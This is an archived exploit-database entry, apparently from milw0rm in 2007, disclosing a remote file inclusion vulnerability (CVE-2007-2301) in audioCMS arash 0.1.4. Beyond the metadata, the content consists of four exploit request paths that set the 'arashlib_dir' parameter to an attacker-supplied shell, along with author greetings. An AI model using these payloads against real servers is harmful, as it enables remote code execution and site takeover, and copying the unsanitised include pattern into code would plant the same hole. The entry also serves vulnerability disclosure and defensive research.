audioCMS arash 0.1.4 - 'arashlib_dir' Remote File Inclusion

Author: GoLd_M
type: webapps
platform: php
port: 
date_added: 2007-04-14 
date_updated:  
verified: 1 
codes: OSVDB-35730;CVE-2007-2301;OSVDB-35729;OSVDB-35728;OSVDB-35727 
tags: 
aliases:  
screenshot_url:  
application_url: 

# audioCMS arash 0.1.4(arashlib_dir)Remote File Inclusion Vulnerabilities
# D.Script: http://sourceforge.net/projects/arash/
# Discovered by: GolD_M = [Mahmood_ali]
# Homepage: http://Www.Tryag.Com/cc
# Exploit:[Path]/arash_lib/include/edit.inc.php?arashlib_dir=Shell
# Exploit:[Path]/arash_lib/include/list_features.inc.php?arashlib_dir=Shell
# Exploit:[Path]/arash_lib/class/arash_gadmin.class.php?arashlib_dir=Shell
# Exploit:[Path]/arash_lib/class/arash_sadmin.class.php?arashlib_dir=Shell
# Greetz To: Tryag.Com/cc & Dwrat.Com & Asb-May.Net/bb

# milw0rm.com [2007-04-15]